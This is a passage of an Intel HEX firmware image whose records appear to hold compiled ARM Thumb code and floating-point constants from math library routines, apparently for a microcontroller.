:10EDB000DCE7022D23D0032D1FD0012D1BD01548D9 :10EDC000C4E71548C2E7211CFCF7D6F9FEF7AEFFF1 :10EDD000FEF716FECAE70C49FCF756F8011C0B4873 :10EDE000FCF7B6FCB2E780231B069C466044ADE707 :10EDF00080200006AAE70948A8E70948A6E70948CD :10EE0000A4E7C046DB0F49C02EBDBB33DB0F494032 :10EE1000DB0FC93FDB0F493FDB0FC9BFDB0F49BF2A :10EE2000E4CB16C0E4CB1640F0B5FF22D6464F46E1 :10EE300046464300C0B5041C01005B08D20593425E :10EE400069D8C50F934200D1C0E0784A904269DC8E :10EE5000002800DAB4E0764A934268D9754A9342B2 :10EE600000D9BFE0744BAE00F158201CFCF770FCD9 :10EE7000724B0124F358641B9846071C651B4146DE :10EE8000381CFCF765FC011C041CFCF74BFB6C49AF :10EE9000061CFCF747FB6B49FCF75AFC311CFCF7DE :10EEA00041FB6949FBF7F0FF311CFCF73BFB67496D :10EEB000FCF74EFC311CFCF735FB6549FBF7E4FF22 :10EEC000311CFCF72FFB011C201CFCF741FC011C32 :10EED000061C8146201CFCF725FB8246002D58D0DD :10EEE0008020311CC005FCF733FC011C5046FCF7A8 :10EEF00043F9011C4046FCF72BFC391CFCF728FCAD :10EF0000011CFE208005FCF723FC2B007D3361DB18 :10EF1000ED05281801E0FBF7B7FF1CBC90469946A9 :10EF2000A246F0BD4B49081CFCF7FCFAF5E74A4A3B :10EF3000934209D84749201CFBF7A6FFFE2189050B :10EF4000FBF784FE00286AD1211C201CFCF7EAFA9A :10EF50003B49051CFCF7E6FA3A49FCF7F9FB291C8A :10EF6000FCF7E0FA3849FBF78FFF291CFCF7DAFAC7 :10EF70003649FCF7EDFB291CFCF7D4FA3449FBF7C2 :10EF800083FF291CFCF7CEFA011C201CFCF7E0FBD8 :10EF900081464946201CFCF7C5FA8021051CC9059D :10EFA0004846FCF7D5FB011C281CFCF7E5F8211CA2 :10EFB000FCF7CEFB011CFE208005FCF7C9FBACE78B :10EFC000264A934200D846E70020A6E7002DA4D0A9 :10EFD0000020A2E7D8216435ED0528180905FCF7C3 :10EFE000A1FA9AE71E49201CFCF79CFA1D4BAD00C4 :10EFF000E958FBF749FFFCF765FD0500FCF782FDCA :10F000001949061CFCF78EFA011C201CFCF7A0FB1A :10F010001649071C301CFCF785FA80462FE7FE21B5 :10F02000201C8905FBF730FF77E7C0461772B14215 :10F030001872B13E9115853FC4FA0200CCFA020065 :10F040004CBB31330EEADD3555B38A38610B363BA4 :10F05000ABAA2A3ECAF24971FFFF7F31B5F1CF4218 :10F060003BAAB83FBCFA02008071313FD1F7173795 :10F070004A00F8B5520840D03D4D43005B08AB4212 :10F080003BDCFF24E405A24237DC93423ADBC50FA8 :10F09000ED07934237D0044253D17E261F027642B9 :10F0A000002F03DD013E7F00002FFBDCFF24E40581 :10F0B0000C4253D17E2714027F42002C02DB013F19 :10F0C0006400FCD534007E3443DB80234002400AD8 :10F0D0001B04034338007E3036DB802249024C0A91 :10F0E00012042243F61B9C1A002E11D05B00002C48 :10F0F00001DB08D06300013EF5E7FCF713FA011CC1 :10F10000FCF73AF8F8BDE80F1A4B8000C058F9E751 :10F11000002C00DB2300002BF5D017490A008B429E :10F1200003DC5B00013F9342FBDD3A007E3218DBDB :10F13000124A7F37944663442B431800FF05384337 :10F14000E0E7DE157F3EB1E77E214942C91B8A40D8 :10F15000C8E77E204042801B8340BBE7D7157F3F36 :10F16000B0E77E225242D71B3B412B431800C9E730 :10F17000FFFF7F7FD4FA0200FFFF7F00000080FFC7 :10F18000F8B5DE4657464E4645460300E0B5420018 :10F1900044D000284DDB8E4A904200DDC5E08D4A08 :10F1A0000021904206DC9821C905FCF7BBF9192122 :10F1B00003004942DA155B025C0A874B7F3AE0188C :10F1C00080231B040340FE205218FE218005584076 :10F1D000DE1520438905B618FCF7BAFA22007F4BEA :10F1E0000F32051C1A422BD10021FBF715FD002818 :10F1F00000D19EE00020002E15D03000FCF782FCEC :10F200007749041CFCF78EF97649051C201CFCF795 :10F2100089F9011C281CFBF737FE04E0CC200021F3 :10F220000006FBF7A9FF3CBC90469946A246AB46B8 :10F23000F8BD011CFCF78CFA0021FBF79DFFF2E7FB :10F240008021C905FBF720FE011C281CFBF794FF59 :10F2500080463000FCF756FC414682464046FCF7AB :10F2600061F9614B011C99468346FCF75BF95F49E4 :10F27000071CFCF757F95E49FBF706FE391CFCF743 :10F2800051F95C49FBF700FE391CFCF74BF95A4970 :10F29000FBF7FAFD5946FCF745F958498346381CF7 :10F2A000FCF740F95649FBF7EFFD391CFCF73AF93A :10F2B0005449FBF7E9FD391CFCF734F9011C5846A9 :10F2C000FBF7E2FD504BA1441C1B4B46071C1C43A3 :10F2D000002C48DDFC21281C8905FCF723F9291C9A :10F2E000FCF720F9011C041C381CFBF7CDFD41463E :10F2F000FCF718F9071C002E49D039495046FCF795 :10F3000011F93849061C5046FCF70CF9391CFBF77B :10F31000BBFD011C201CFCF71BFA291CFCF718FA8A :10F32000011C301CFCF714FA7DE7011CFBF7ACFD57 :10F3300079E73649281CFCF7F5F8011CFC2080050C :10F34000FCF706FA291C041C281CFCF7EBF8011C2E :10F35000201CFCF7E7F8041C002E21D1211C281CDE :10F36000FCF7F6F95FE7011C281CFCF7F1F94146B0 :10F37000FCF7D8F8041C002EF0D019495046FCF7D1 :10F38000D1F81849061C5046FCF7CCF8C1E7011C1F :10F39000201CFCF7DDF9011C281CFCF7D9F942E719 :10F3A0003000FCF7AFFB0E49061CFCF7BBF80D491B :10F3B000071C301CFCF7B6F8011C201CFCF7C8F930 :10F3C000291CFCF7C5F9011C381CFCF7C1F92AE718 :10F3D000FFFF7F7FFFFF7F0020FB4A00F0FF7F00E1 :10F3E0008071313FD1F71737305CCFFF9788173ED8 :10F3F00025333A3E2549923EABAA2A3F4FD01C3EC8 :10F40000298E633ECDCCCC3E88C23500ABAAAA3E45 :10F41000F0B54E464546DE465746E0B54E0087B04D :10F42000051C0C1C8946760810D0FF234700804637 :10F430007F08DB059F4203DDD64801F041FD07E070 :10F440009E420CDDFE239B059F42F5D1FE208005E8 :10F4500007B03CBC90469946A246AB46F0BD00239F :10F460000093002800DA2FE1FF23DB059E4200D144 :10F4700041E1FE239B059E4200D170E18023DB0524 :10F48000994500D17DE1FC239B05994500D042E1DF :10F490004346281C002B00DB78E1FEF747FCFF23E6 :10F4A000DB059F4200D14CE1002F00D145E1FE2356 :10F4B0009B059F4200D138E1EB0F013B9B465A462A :10F4C000009B134300D18BE19A23DB059E4200DCB5 :10F4D0008EE1B14B9F4200DCEDE2B04B9F4200DD7C :10F4E00004E3FE218905FCF733F9AD49061CFCF75E :10F4F00019F8AC49071C301CFCF714F8FA21051C5C :10F500008905301CFCF70EF8011CA748FCF720F910 :10F51000311CFCF707F8011CFC208005FCF718F9EA :10F52000311C8146301CFBF7FDFF011C4846FBF7F0 :10F53000F9FF9E49FBF7F6FF011C281CFCF708F9B0 :10F54000011C051C381CFBF79FFC060B3603391CFD :10F55000301CFCF7FDF8011C281CFCF7F9F880466C :10F560005B46009D013D1D4300D057E2904F250BA7 :10F570002D03291C201CFCF7EBF8311CFBF7D2FFF4 :10F58000211C81464046FBF7CDFF011C4846FBF796 :10F590007BFC291C8046301CFBF7C4FF011C061CA9 :10F5A00081464046FBF770FC4500824604006D082A :10F5B000002800DC35E28623DB059D4200DD72E297 :10F5C00000D161E2FC239B059D4200DD36E2002371 :10F5D00000269B46240B24037649201CFBF7A2FF40 :10F5E00049468246201CFCF7B3F8011C4046FCF754 :10F5F000AFF87149FBF796FF7049051C201CFBF71B :10F6000091FF011C281CFBF73FFC051C011C504608 :10F61000FBF73AFC5146041CFCF79AF8011C281C25 :10F62000FCF796F8211C8146201CFBF77BFF644900 :10F63000051CFBF777FF6349FCF78AF8291CFBF7E9 :10F6400071FF6149FBF720FC291CFBF76BFF5F4949 :10F65000FCF77EF8291CFBF765FF5D49FBF714FCFE :10F66000291CFBF75FFF011C201CFCF771F880468A :10F67000011C201CFBF756FF80218246C90540462D :10F68000FCF766F8011C5046FBF776FD49468046BC :10F69000201CFBF747FF4946FBF7F6FB011C4046E1 :10F6A000FCF756F8211CFCF753F8011CFE208005DE :10F6B000FCF74EF83618F215002A00DC1BE2301C6D :10F6C000391CFBF72FFFC3E6424B9E4220DC424B26 :10F6D0009E4200DCCDE69622F315D31A32001A4181 :10F6E00011009940B14200D0C3E601231A40013312 :10F6F0009B1A0093BDE6FE239B059F4200D1A5E621 :10F7000038DD4B46201C002B00DBA1E600209FE6E5 :10F7100002230093A8E6281CFEF708FBFF23DB0565 :10F720009F4202D0002F00D0C1E64B46002B04DAE6 :10F73000011CFE208005FBF71FFD4346002B00DB6C :10F7400086E6264B9C46009B67441F4300D05CE145 :10F75000011CFBF7FDFF011CFBF70EFD78E64B4695 :10F76000281C002B00DB73E6FE20291C8005FBF71C :10F7700003FD6DE64B46002BC8DA80231B06E0181C :10F7800066E6291C281CFBF7CDFE61E600F062FB53 :10F790005EE6C046B8FA0200F7FF7F3F0700803FF1 :10F7A00000AAB83F70A5EC36ABAAAA3E3BAAB83F68 :10F7B000000080BF0072313F1872313F8CBEBF35F0 :10F7C0004CBB31330EEADD3555B38A38610B363B1D :10F7D000ABAA2A3EFFFF7F4BFFFF7F3F000080C0A8 :10F7E000291C281CFBF7B4FF011CFBF7C5FC2FE606 :10F7F000FF23DB0500222B4206D19721C905FBF729 :10F8000091FE182207005242FB157802FE277F3B2B :10F810009A18BB4B400ABF0501920743984208DD86 :10F82000B84B984200DC4FE1B74B01329C46019245 :10F8300067440023FE25059304930023AD0503933D :10F84000291C381CFBF784FF291C8246381CFBF757 :10F850001BFB011CFE208005FBF78EFC011C0290A7 :10F860005046FBF75FFEB9467B108027BF051F435C :10F870008023DB029C46039B67449C46060B67443F :10F8800036038046391C301CFBF74CFE011C5046E9 :10F89000FBF75EFF291C8246381CFBF759FF011C51 :10F8A0004846FBF755FF311CFBF73CFE011C504658 :10F8B000FBF74EFF0299FBF735FE41468146404675 :10F8C000FBF730FE9149071CFBF72CFE9049FBF734 :10F8D000DBFA391CFBF726FE8E49FBF7D5FA391CFB :10F8E000FBF720FE8C49FBF7CFFA391CFBF71AFE19 :10F8F0008A49FBF7C9FA391CFBF714FE8849FBF764 :10F90000C3FA391C8246381CFBF70CFE011C50461A :10F91000FBF708FE311C071C4046FBF7B5FA4946C9 :10F92000FBF700FE391CFBF7AFFA311C8246301C96 :10F93000FBF7F8FD7B49051CFBF7A6FA5146FBF7E0 :10F94000A3FA070B3F03391C301CFBF7EBFD75498D :10F95000061C381CFBF7FCFE291CFBF7F9FE011CFA :10F960005046FBF7F5FE4146FBF7DCFD391C8046AF :10F970004846FBF7D7FD011C4046FBF785FA814658 :10F98000011C301CFBF780FA070B3F036649381C4B :10F99000FBF7C8FD311C051C381CFBF7D9FE011C08 :10F9A0004846FBF7D5FE6149FBF7BCFD6049061CE4 :10F9B000381CFBF7B7FD011C301CFBF765FA0499F6 :10F9C000FBF762FA071C0198FCF79CF88146391C8A :10F9D000281CFBF759FA059B191C9846FBF754FAAB :10F9E0004946FBF751FA060B36034946301CFBF734 :10F9F000AFFE4146FBF7ACFE291CFBF7A9FE011C3C :10FA0000381CFBF7A5FE8046AAE5009B012B00D021 :10FA10001EE580231B069C46604419E5FE27BF05B2 :10FA2000A5E5444B9D4259DC00D0CBE5311CFBF7EA :10FA30008FFE4146FBF714F900284FD180200004C7 :10FA40000300ED157E3D2B411B195A001D005B0282 :10FA50005B0A03431720120E37497F3A1141821A7D :10FA600013418D4329009B46002C01DA5B429B46E3 :10FA7000301CFBF76DFE011C81464046FBF704FA83 :10FA80005B460400DE05A5E52C494046FBF7FCF982 :10FA9000311C81465046FBF75BFE011C4846FBF7D4 :10FAA000D5F80028CAD02649381CFBF73BFD24496D :10FAB000FBF738FDCCE44B46002B00DB26E6204963 :10FAC000081CFBF72FFDC3E41E4BFF2505931E4BBF :10FAD000AD05049380239B030393B1E61B49381CB7 :10FAE000FBF720FD1949FBF71DFDB1E44B46002B48 :10FAF000E5DC0020ACE45946FEF71CFAE0E5C04620 :10FB000071C41C00D6B35D00000080FF42F1533E7B :10FB100055326C3E05A38B3EABAAAA3EB76DDB3EC9 :10FB20009A99193F000040400038763F4F38763FA1 :10FB3000A0C39D3600001643FFFF7F003CAA383368 :10FB4000CAF2497100C0153FDCCFD1356042A20D29 :10FB5000F0B557464E46DE464546E0B5AF4B47004A :10FB600089B00C0006007F089F4200DC74E0AC4BBB :10FB70009F4221DC0F23AB499F43002800DC24E196 :10FB8000FBF7E6FDA84B051C9F4200D170E0A7499A :10FB9000FBF7DEFD011C2060281CFBF7D9FDA34903 :10FBA000FBF7D6FD01256060280009B03CBC9046FB :10FBB0009946A246AB46F0BD9D4B9F426ADD9D4BE8 :10FBC0009F424EDC862252429146FB1599444B4699 :10FBD000DD057D1B281CFBF775FFFBF793FF011C60 :10FBE0000590281CFBF7B4FD8721C905FBF79AFC9B :10FBF0008046FBF767FFFBF785FF011C0690051C9D :10FC00004046FBF7A5FD8721C905FBF78BFC0021CA :10FC10000790FBF701F8002800D1D4E00021281C50 :10FC2000FAF7FAFF434243410133834A210001922C :10FC3000022205A800924A4600F030FA0500002E84 :10FC4000B2DA802212069446236845426344236058 :10FC5000636863446360A7E7002308604B60002586 :10FC6000A2E7011CFBF774FD0025606020609BE7A4 :10FC70007249FBF76DFD7249051CFBF769FD011C1C :10FC80002060281CFBF764FD6D49FBF761FD012531 :10FC9000606089E7FEF74AF86A498046FBF742FC54 :10FCA000FC218905FBF7F0F8FBF70CFF0500FBF7DB :10FCB00029FF5C498246FBF735FC011C4046FBF7F7 :10FCC00047FD5A4980465046FBF72CFC8146011CF3 :10FCD00040461F2D23DCFBF73BFDFF233A005A492A :10FCE0009A436B1E9B005B5883469A421AD05B4630 :10FCF000594623604046FBF72BFD4946FBF728FD9C :10FD00006060002E00DB4FE780231B065B4423600E :10FD100080231B069C46604460606D4244E7FBF70D :10FD200017FD83465B46FF22DB0DFF151340FB1AD0 :10FD3000082BDCDD41495046FBF7F4FB8146011CF2 :10FD40004046FBF705FD8346011C03904046FBF748 :10FD5000FFFC4946FBF7FCFC804639495046FBF75F :10FD6000E1FB4146FBF7F4FC011C81465846FBF7DA :10FD7000EFFCFF22C30D1340D846FB1A8346192B14 :10FD8000B5DD32495046FBF7CDFB039B071C011C38 :10FD9000181C9946FBF7DCFC011C80464846FBF723 :10FDA000D7FC391CFBF7D4FC2949071C5046FBF74C :10FDB000B9FB391CFBF7CCFC011C81464046FBF724 :10FDC000C7FC834693E703232FE7FBF75DF8164B49 :10FDD000051C9F420ED01549FBF756F8011C206008 :10FDE000281CFBF7B5FC1149FBF74EF801256060B4 :10FDF0006D42D9E61149FBF747F81149051CFBF79D :10FE000043F8011C2060281CFBF7A2FC0C49FBF7FF :10FE10003BF8012560606D42C6E6C046D80F493FF9 :10FE2000E3CB1640800FC93FD00FC93F434435375D :10FE3000800F4943FFFF7F7F5CFB020000443537A2 :10FE400008A3852E84F9223FDCFA020000A3852E48 :10FE500032318D242B49420070B50300061C520834 :10FE60008A423BD8002A38D0002840DBFF21C90550 :10FE7000C21501420AD180200004064001D03DE0B5 :10FE80000E005B00711C0342FAD0921B7F3A1000F7 :10FE900080225B025B0A12041A435300C10724D478 :10FEA000802219210026002540105204AC189C42E3 :10FEB00002DCA5181B1BB61801395B00520800298B :10FEC000F4D1002B02D0012301369E43FC239B0575 :10FED0009C4676106644C005801970BD011CFBF776 :10FEE00021FB311CFAF7D0FFF7E79300D8E7011C9C :10FEF000FBF72EFC011CFBF73FF9EEE701267642EB :10FF0000921BC3E7FFFF7F7FF8B54746CE46584BAD :10FF1000450080B5061C0F1C6D089D4248DCFBF7B0 :10FF2000D1FD002800D19FE0311C301CFBF7FAFA0C :10FF30005049041CFBF7F6FA4F49FAF7A5FF211CBC :10FF4000FBF7F0FA4D49FBF703FC211CFBF7EAFA3B :10FF50004B49FAF799FF211CFBF7E4FA4949FBF7F3 :10FF6000F7FB211CFBF7DEFA4749FAF78DFF211C4E :10FF7000FBF7D8FA8046FC21201C8905FBF7D2FA52 :10FF80004146051C201CFBF7CDFA391C041C301C13 :10FF9000FBF7C8FA011C201CFBF7DAFB011C281C2C :10FFA000FBF7D6FB011CFE208005FBF7D1FB53E0DD :10FFB000011CFBF7B7FA2F49041CFBF7B3FA2E49D3 :10FFC000FAF762FF211CFBF7ADFA2C49FBF7C0FBE7 :10FFD000211CFBF7A7FA2A49FAF756FF211CFBF769 :10FFE000A1FA2849FBF7B4FB211CFBF79BFA264931 :10FFF000FAF74AFF211CFBF795FA244B80469D42F5 :020000040002F8 :10000000B9DD234B9D422BDCFF231B069C46FE20C3 :100010006544291C8005FBF79BFB8146FC21201CC5 :100020008905FBF77FFA291CFBF792FB4146051C6B :10003000201CFBF777FA391C041C301CFBF772FA02 :10004000011C201CFBF784FB011C281CFBF780FB18 :10005000011C4846FBF77CFB0CBC90469946F8BD5A :100060000C4B0D4D9946D9E7FE208005F4E7C046BC :10007000FFFFFF314ED747ADF6740F317CF293345A :10008000010DD037610BB63AABAA2A3D9999993E3A :100090000000483F0000383F0000903EF0B5DE46CB :1000A00057464E464546E0B5DFB0039018000A912A :1000B00068990793A64B14000D928A00D1580691B7 :1000C000010001390191221D00DA21E30723E21E1C :1000D000D1170B409B18DB10591C9B46CB000B9390 :1000E0000B9A0D9B9B1A5A460593019BD41A069AAC :1000F000D6180ED40136699F22AD36190020002C87 :1001000003DBA300F858FBF7FDFC013401C5B44242 :10011000F4D1069B002B00DA69E3079A4AAB9446B8 :1001200022AA92460C939946019B9F0022AB9846C7 :10013000069BB84463449B009A44039B04379C4647 :100140006744019B0026002B0EDB45460026039CDE :10015000296801CCFBF7E6F9011C301CFAF794FE84 :10016000043D061CBC42F3D14B4640C399460423D0 :100170009C46E044D045E4D10EA80421844649427F :1001800061448C46069A93009C4461468446083B31 :1001900063440991699908935B468C469B006344CC :1001A00002930799039B8F00043BDF190C9B049279 :1001B0009A46049B9A009346524659465558002B3E :1001C00027DD644AB846944663449C000EAB544411 :1001D0001F0000E01C00EE21281C8905FBF7A2F996 :1001E000FBF770FCFBF78EFC8721C905061CFBF7AB :1001F00099F9011C281CFBF7ABFAFBF763FC21689B :1002000001C7301CFAF740FE231F051CA245E1D1AF :100210004746059E281C3100FDF78CFEF821890514 :10022000041CFBF77FF9FDF785FD8221C905FBF76B :1002300079F9011C201CFBF78BFA041CFBF742FC2C :100240008046FBF75FFC011C201CFBF781FA051CB4 :10025000002E00DC80E0049B08205A1E92000EABAA :100260009B58801B19000141884481405B1A0EA9EC :100270008B500722921B134199464B46002B79DC89 :100280000021281CFAF7C8FC002800D1BBE0049B21 :10029000069A591E8A4210DC2E4A099894460EAAE4 :1002A0006344944600229B0063441C68043B224341 :1002B0008342FAD1002A00D007E1069B0EAA013B37 :1002C0009B00D358002B00D0FAE00122089B043B8E :1002D000596801320029FAD0049B9C46591C894672 :1002E00062440092079A049B944663449E0022ABAA :1002F0009846D344B0444B46029A9B00D058FBF733 :1003000001FC43461860019B002B1EDB4546039C05 :10031000002601E0286804342168FBF703F9011C7A :10032000301CFAF7B1FD043D061CA742F2D15B4632 :100330005E6001239C460333E1449C46009BE044FD :10034000E3444B45D7DA049333E70026EFE7C04692 :10035000A0FE0200FFFFFF3F059B002B00D0A5E0A1 :10036000049B0EAA013B9B00D3581B1299464B4697 :10037000002B85DD01239C46049BE044002B00DC20 :10038000DBE10E9C002C77D1049B012B0AD00122CB :100390000FA90C68531C002C70D11A00049B043167 :1003A0009342F6D1059B002B0FDD012B00D1A3E179 :1003B000022B0AD1049B0EAA013B9B00D25800924B :1003C0003F2200990A400EA9CA504B46022B00D08A :1003D00056E7FE20291C8005FBF7BAF9051C002C06 :1003E00000D14DE7FE2005998005FDF7A3FD011C16 :1003F000281CFBF7ADF9051C0021281CFAF70CFCA2 :10040000002800D043E743460793049B0D9A984683 :100410004B4602930B9B281C991AFDF78BFD8721F5 :10042000C905061CFAF71CFC002800D1B7E1EE2133 :10043000301C8905FBF776F8FBF744FBFBF762FB02 :100440008721C905041CFBF76DF8011C301CFBF764 :100450007FF9FBF737FB5A460EAB98500123434414 :100460009A46059B201C0833059353469D00FBF7D5 :1004700029FB0EAB585146E00123002280214900A0 :1004800092000C1B0EA98C50049A9A420CDD8C46EB :1004900058469B00CA5860446344FF2100E01A6834 :1004A0008A1A04C38342FAD101247BE7FC2189051F :1004B000FAF7D6FB002800D02FE100239946DFE6AB :1004C000049B0133994600930CE743460793049B32 :1004D0008A4698464B460293534605999B000EAABE :1004E000D35808390591002B0DD194465246C34B81 :1004F00043449B006344043B5868013A0839002890 :10050000F9D092460591FE2005998005FDF712FD70 :100510005346051C002B00DA5EE19B000EAA9446B0 :100520001C0064449C460C9A039362441600170016 :1005300000E01C002068FBF7E5FA291CFAF7F2FF3F :10054000EE2138608905281CFAF7ECFF0EAA051C7D :10055000231F043FA242ECD136AB00939B460023FD :10056000524698460192A64B069A994692464346B1 :10057000B0461E005346002B29DB330000254646BB :10058000A04800270024984604E00435A0450CDB71 :100590004B46E8587159FAF7C5FF011C381CFAF7A9 :1005A00073FC0134071CA245EFDA4346B0461E0037 :1005B00004225B4652429446019A80C39B46E04423 :1005C000731CB24205D01E005346002BD5DA00271B :1005D000EEE7019B9A46689B022B2DDC002B00DD89 :1005E000ADE01DD1009A039B944663441C0000209B :1005F0002168FAF749FC009A231FA24207D01C0089 :100600002168FAF741FC009A231FA242F7D1029B0E :10061000002B03D080231B069C4660440A9B186075 :100620000720079B18405FB03CBC90469946A24605 :10063000AB46F0BD36AB0093689B032BF0D153461D :10064000002B00DCD8E09B0099464A46009B9C4664 :100650009F586D4A524495009046654400E01D0045 :100660002E68391C301CFAF70FFC041C011C301CCE :10067000FBF76EF8391CFAF707FC009A68602C60EB :100680002B1F271CAA42EAD15346012B00DCB3E002 :100690004A46009B9F5842469200904643441D00A4 :1006A00000E01D002E68391C301CFAF7EDFB041C1D :1006B000011C301CFBF74CF8391CFAF7E5FB009ADB :1006C0002B1F68602C60271C9A42EAD1444694464E :1006D0000020043464442168043CFAF7D5FBA542A9 :1006E000F9D1009B0299369A5B6800295FD10A997B :1006F0000A604B60886093E7049B0EAA013B9B0055 :10070000D25800927F2200990A400EA9CA505CE696 :1007100008230B9300239B46E2E401239C4601330C :100720009946049BE044002B00DD2AE6FE20291CAC :100730008005FBF70DF8051CA2E5002432E6009ABF :1007400000249446039B201C63441D0000E01D0010 :100750002968FAF799FB009A2B1FAA42F7D1041CCB :10076000211C3698FAF7F4FF029B002B2AD10A9B32 :100770001C605346002B0FDD0124564637AD02CDD9 :100780000134FAF781FBA642F9DA029B002B03D071 :1007900080231B069C4660440A9B586040E7301C3F :1007A000FBF790F95A460EAB9850C246ABE6802153 :1007B00009068C460A996244634460440A604B60AF :1007C00088602DE780231B069C460A9B64441C60BE :1007D0005346002BD0DCDBE7689B022B00DD29E7CA :1007E000002B07DC0020002B00D110E718E74AABF4 :1007F0000C93C1E40024B3E7002072E7FEFFFF3F43 :1008000074FE02000000C93FFFFFFF3FF8B54746F6 :10081000CE469046334A430080B5041C0F1C5B084B :10082000934203DCFBF74EF9002859D0211C201C11 :10083000FAF778FE051C011C201CFAF773FE2A4902 :10084000061C281CFAF76EFE2849FAF781FF291CBE :10085000FAF768FE2649FAF717FB291CFAF762FE39 :100860002449FAF775FF291CFAF75CFE2249FAF7CA :100870000BFB43468146002B24D0FC21381C890504 :10088000FAF750FE49468046301CFAF74BFE011C31 :100890004046FAF75DFF291CFAF744FE391CFAF7C7 :1008A00057FF1649051C301CFAF73CFE011C281C9A :1008B000FAF7EAFA011C201CFAF74AFF0CBC904632 :1008C0009946F8BD011C281CFAF72CFE0B49FAF7D3 :1008D0003FFF311CFAF726FE211CFAF7D5FAEDE7A7 :1008E000201CEBE7FFFFFF31D3C92E2F342FD73267 :1008F0001BEF3836010D50398988083CABAA2A3ED7 :10090000F0B5DE4657464E464546E0B58A4B4600B2 :1009100083B0041C88469246834676089E4212DCC9 :10092000FBF7D0F8002828D1534601331E4300D1ED :10093000F5E05346012B00D1FBE0211C7F48FAF77C :100940001BFC051CB5E07E4B9E4216DD002805DA37 :1009500080231B069C46434498466444211C7948E6 :10096000FAF7F6FE4146041C7748FAF7F1FE211C1F :10097000FAF78AFA00239846041C211C201CFAF777 :10098000D1FD011C071CFAF7CDFD391C051C201CEC :10099000FAF7C8FD6D498146281CFAF7C3FD6C497A :1009A000FAF772FA291CFAF7BDFD6A49FAF76CFAF0 :1009B000291CFAF7B7FD6849FAF766FA291CFAF715 :1009C000B1FD6649FAF760FA291CFAF7ABFD6449F4 :1009D000FAF75AFA391CFAF7A5FD62490190281C6A :1009E000FAF7A0FD6049FAF74FFA291CFAF79AFDC9 :1009F0005E49FAF749FA291CFAF794FD5C49FAF7BF :100A000043FA291CFAF78EFD5A49FAF73DFA291CD8 :100A1000FAF788FD5849FAF737FA011C0198FAF7F6 :100A200033FA4946FAF77EFD4146FAF72DFA391CAA :100A3000FAF778FD4146FAF727FA5049051C48466F :100A4000FAF770FD291CFAF71FFA011C071C201C7D :100A5000FAF71AFA3A4B051C9E4232DC5346012B38 :100A600027D0011C060B3548FAF786FB3603211CFC :100A70008046050B301CFAF76BFE2D03011C381C59 :100A8000FAF766FE291CFAF74DFD291C041C301CE0 :100A9000FAF748FDFE218905FAF7F6F9011C201C3A :100AA000FAF7F2F94146FAF73DFD291CFAF7ECF99D :100AB000051C281C03B03CBC90469946A246AB4698 :100AC000F0BD5046FBF71EF8291C061C281CFAF73F :100AD00029FD311C8046281CFAF7D6F9011C404636 :100AE000FAF74AFB391CFAF733FE011C201CFAF70F :100AF0002FFE011CFAF7C8F9011C301CFAF728FE7A :100B00005B46041C981702231840013B181AFAF799 :100B1000F9FF011C201CFAF705FD051CC9E7201C84 :100B2000FDF704F9011CFE208005FAF725FB051CE2 :100B3000BFE7251CBDE7C046FFFF7F31000080BF37 :100B40003FA12C3FDA0F493F682122338453D93724 :100B50007AC09538B937813948DEBE3A1F37113C23 :100B6000D10D5D3D5FAE9BB745F4A338C8261A3A58 :100B700016696B3BA427B33C8988083EABAAAA3E02 :100B8000F8B54E4657464546DE469F4BE0B54E000B :100B900080468A46894676089E421CDD9B4B9E42D3 :100BA00009DC06D04B46002B00DCBAE0984B994A92 :100BB00009E00028F6D04246534640465146FBF72E :100BC0002BF803000A00180011003CBC904699461F :100BD000A246AB46F8BD904B9E4200DDADE08F4B88 :100BE0009E4200DC8FE001235B429B464246534617 :100BF00040465146FBF780FF02000B0006000F0045 :100C0000FBF77AFF04000D00854A864BFBF774FF63 :100C1000854A864BFBF700F822002B00FBF76CFFA0 :100C2000834A844BFAF7F8FF22002B00FBF764FF9E :100C3000814A824BFAF7F0FF22002B00FBF75CFFA2 :100C40007F4A804BFAF7E8FF22002B00FBF754FFA6 :100C50007D4A7E4BFAF7E0FF32003B00FBF74CFF8A :100C60007B4A06000F007B4B20002900FBF744FF66 :100C7000794A7A4BFCF7B2F922002B00FBF73CFFD4 :100C8000774A784BFCF7AAF922002B00FBF734FFD8 :100C9000754A764BFCF7A2F922002B00FBF72CFFDC :100CA000734A744BFCF79AF922002B00FBF724FFE0 :100CB00002000B0030003900FAF7AEFF53464246FF :100CC000FBF71AFF5B4601332ED05B466A4A6B4C3A :100CD000DB00E418D3181A685B68FCF77FF942461A :100CE0005346FCF77BF902000B0020686168FCF7B3 :100CF00075F9030048460A00002800DB63E78022FC :100D000012068A185FE75E4A5E4BFAF785FF0022FB :100D10005D4BF9F761FF002800D164E74346524676 :100D200051E73B4B594A4EE702000B004046514603 :100D3000FCF754F903000A0045E700F0B3F8544B00 :100D400004000D009E421EDC524B9E4244DC020019 :100D50000B00FAF761FF00224B4BFCF73FF98023B1 :100D600006000F000022DB0520002900FAF754FFDF :100D70000B00020039003000FBF7C4FA0023804664 :100D80008A469B4632E7444B9E421ADC0022434B84 :100D9000FCF724F9002206000F00404B2000290038 :100DA000FBF7AAFE0022384BFAF736FF0B000200D1 :100DB00039003000FBF7A6FA022380468A469B469C :100DC00014E70B00020036490020FBF79BFA0323CF :100DD00080468A469B4609E700222B4BFCF7FEF82B :100DE000002206000F00284B20002900FAF714FF0C :100DF0000B00020039003000FBF784FA0123804623 :100E00008A469B46F2E6C046FFFF0F440000F07F93 :100E1000182D4454FB21F93FFFFFDB3FFFFF1F3E2E :100E200011DA22E33AAD903FEB0D76244B7BA93FDC :100E3000513DD0A0660DB13F6E204CC5CD45B73FAA :100E4000FF8300922449C23F0D5555555555D53F56 :100E50002F6C6A2C44B4A2BF9AFDDE522DDEAD3F4A :100E60006D9A74AFF2B0B33F711623FEC671BC3FEA :100E7000C4EB98999999C93F08980200E897020035 :100E80009C7500883CE4377E0000F03FFB21F9BFF1 :100E9000FFFFF23FFFFFE53FFF7F03400000F83F09 :100EA0000000F0BF49004B081900704743000020C4 :100EB000024A5B089A4240417047C046FFFF7F7F6D :100EC000004870470000C07F10B5040004481300BC :100ED000002804D00A000220210006F05EFA10BDAE :100EE0009B730200014B18687047C0466C000020DD :100EF000084B10B50400002B02D0002100E000BF19 :100F0000054B1868836A002B00D09847200008F032 :100F1000FFF8C046000000000CFF0200002310B5DF :100F2000040003604360836081814366C281036182 :100F300043618361190008225C3008F048FB054BCF :100F400024626362044BA362044BE362044B236399 :100F500010BDC0466112020089120200C1120200D7 :100F60003B96020010B5024908F0D8FA10BDC04601 :100F7000E515020010B5024808F0F2FA10BDC046AF :100F8000F02F002010B5024808F0EBFA10BDC04663 :100F9000F02F002010B5024808F0E2FA10BDC0465C 